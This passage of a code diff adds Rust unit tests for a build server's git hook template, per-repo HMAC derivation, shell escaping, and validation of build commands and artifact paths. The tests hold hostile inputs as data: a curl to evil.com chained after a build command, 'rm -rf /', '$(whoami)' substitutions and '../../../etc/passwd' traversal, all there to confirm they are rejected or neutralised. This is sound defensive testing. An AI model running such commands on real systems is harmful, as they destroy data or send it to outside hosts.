72 + assert_eq!(rust_target("windows", "x86_64"), None);
73 + }
74 +
75 + #[test]
76 + fn hook_template_contains_hmac_not_raw_token() {
77 + let hook = post_receive_hook("secret-token-123", "alice", "myrepo");
78 + let expected_hmac = repo_hmac("secret-token-123", "alice", "myrepo");
79 + assert!(
80 + hook.contains(&expected_hmac),
81 + "hook should contain per-repo HMAC"
82 + );
83 + assert!(
84 + !hook.contains("secret-token-123"),
85 + "hook must not contain raw token"
86 + );
87 + assert!(!hook.contains("__HMAC__"), "placeholder should be replaced");
88 + assert!(hook.contains("/api/internal/builds/trigger"));
89 + }
90 +
91 + /// The two notes arms answer different refs and must not be confused for
92 + /// each other: an inbox push is merged and answered synchronously, a notes
93 + /// push is only indexed. A `case` pattern that caught both would either
94 + /// merge a ref that is already the namespace or leave a push unindexed.
95 + #[test]
96 + fn the_hook_indexes_a_notes_push_and_merges_an_inbox_push() {
97 + let hook = post_receive_hook("secret-token-123", "alice", "myrepo");
98 + assert!(hook.contains("/api/internal/notes/reindex"));
99 + assert!(hook.contains("/api/internal/notes/merge-inbox"));
100 + assert!(hook.contains("refs/notes/*)"));
101 + assert!(hook.contains("refs/mnw/notes-inbox/*)"));
102 + // The inbox lives under refs/mnw/, so nothing an inbox push does can
103 + // fall into the indexing arm. `notes_inbox` pins that prefix itself.
104 + assert!(!"refs/mnw/notes-inbox/commits".starts_with("refs/notes/"));
105 + }
106 +
107 + /// Fixed vector, duplicated in mnw-cli's `repo_hmac` test. mnw-cli installs
108 + /// hooks for repos it auto-creates over SSH, and this endpoint verifies
109 + /// them; if either side's derivation moves, both tests have to move
110 + /// together or those pushes stop triggering builds.
111 + #[test]
112 + fn repo_hmac_matches_mnw_cli_vector() {
113 + assert_eq!(
114 + repo_hmac("test-token", "max", "repo"),
115 + "198b4a4f542c0c27c4ca333030dfe09fe670aa44bae34d7a586481bb13fd9eb0"
116 + );
117 + }
118 +
119 + #[test]
120 + fn repo_hmac_differs_per_repo() {
121 + let h1 = repo_hmac("token", "alice", "repo-a");
122 + let h2 = repo_hmac("token", "alice", "repo-b");
123 + assert_ne!(h1, h2, "different repos should produce different HMACs");
124 + }
125 +
126 + #[test]
127 + fn shell_escape_basic() {
128 + assert_eq!(shell_escape("hello"), "'hello'");
129 + assert_eq!(shell_escape("it's"), "'it'\\''s'");
130 + }
131 +
132 + #[test]
133 + fn validate_build_command_accepts_safe_commands() {
134 + assert!(
135 + validate_build_command("cargo build --release --target x86_64-unknown-linux-gnu").is_ok()
136 + );
137 + assert!(validate_build_command("make -j4").is_ok());
138 + assert!(validate_build_command("RUSTFLAGS=--cfg tokio_unstable cargo build").is_ok());
139 + }
140 +
141 + #[test]
142 + fn validate_build_command_rejects_injection() {
143 + assert!(validate_build_command("cargo build; curl evil.com").is_err());
144 + assert!(validate_build_command("cargo build && rm -rf /").is_err());
145 + assert!(validate_build_command("cargo build | tee log").is_err());
146 + assert!(validate_build_command("$(whoami)").is_err());
147 + assert!(validate_build_command("`whoami`").is_err());
148 + assert!(validate_build_command("cargo build > /dev/null").is_err());
149 + assert!(validate_build_command("").is_err());
150 + assert!(
151 + validate_build_command(" ").is_err(),
152 + "whitespace-only has no program"
153 + );
154 + assert!(
155 + validate_build_command("FOO=bar").is_err(),
156 + "assignment with no program"
157 + );
158 + }
159 +
160 + #[test]
161 + fn remote_command_parse_separates_env_program_args() {
162 + let c = RemoteCommand::parse("cargo build --release").unwrap();
163 + assert!(c.assignments.is_empty());
164 + assert_eq!(c.program, "cargo");
165 + assert_eq!(c.args, vec!["build", "--release"]);
166 +
167 + let c = RemoteCommand::parse("RUSTFLAGS=--cfg CARGO_INCREMENTAL=0 cargo build").unwrap();
168 + assert_eq!(
169 + c.assignments,
170 + vec!["RUSTFLAGS=--cfg", "CARGO_INCREMENTAL=0"]
171 + );
172 + assert_eq!(c.program, "cargo");
173 + assert_eq!(c.args, vec!["build"]);
174 + }
175 +
176 + #[test]
177 + fn remote_command_render_escapes_every_token() {
178 + // Plain command: each token individually single-quoted.
179 + let c = RemoteCommand::parse("cargo build --release").unwrap();
180 + assert_eq!(c.render(), "'cargo' 'build' '--release'");
181 +
182 + // Env prefix: applied via `env`, each element escaped.
183 + let c = RemoteCommand::parse("RUSTFLAGS=--cfg cargo build").unwrap();
184 + assert_eq!(c.render(), "env 'RUSTFLAGS=--cfg' 'cargo' 'build'");
185 + }
186 +
187 + #[test]
188 + fn is_env_assignment_recognizes_valid_identifiers_only() {
189 + assert!(is_env_assignment("FOO=bar"));
190 + assert!(is_env_assignment("_X1=y"));
191 + assert!(is_env_assignment("A=")); // empty value is a valid assignment
192 + assert!(
193 + !is_env_assignment("1FOO=bar"),
194 + "identifier can't start with a digit"
195 + );
196 + assert!(!is_env_assignment("cargo"), "no '='");
197 + assert!(!is_env_assignment("--target=x"), "not a shell identifier");
198 + }
199 +
200 + #[test]
201 + fn render_defuses_would_be_injection_even_if_charset_bypassed() {
202 + // Construct a RemoteCommand directly with a hostile arg (bypassing the
203 + // token charset check) to prove render() is the real guard: the shell
204 + // sees a single quoted word, not a command separator.
205 + let c = RemoteCommand {
206 + assignments: vec![],
207 + program: "cargo".to_string(),
208 + args: vec!["build; rm -rf /".to_string()],
209 + };
210 + assert_eq!(c.render(), "'cargo' 'build; rm -rf /'");
211 + }
212 +
213 + #[test]
214 + fn validate_artifact_path_accepts_safe_paths() {
215 + assert!(validate_artifact_path("target/x86_64-unknown-linux-gnu/release/myapp").is_ok());
216 + assert!(validate_artifact_path("dist/app-v0.1.0.tar.gz").is_ok());
217 + }
218 +
219 + #[test]
220 + fn validate_artifact_path_rejects_unsafe() {
221 + assert!(validate_artifact_path("/etc/passwd").is_err());
222 + assert!(validate_artifact_path("../../../etc/passwd").is_err());
223 + assert!(validate_artifact_path("path with spaces").is_err());
224 + assert!(validate_artifact_path("$(whoami)").is_err());
225 + assert!(validate_artifact_path("").is_err());
226 + }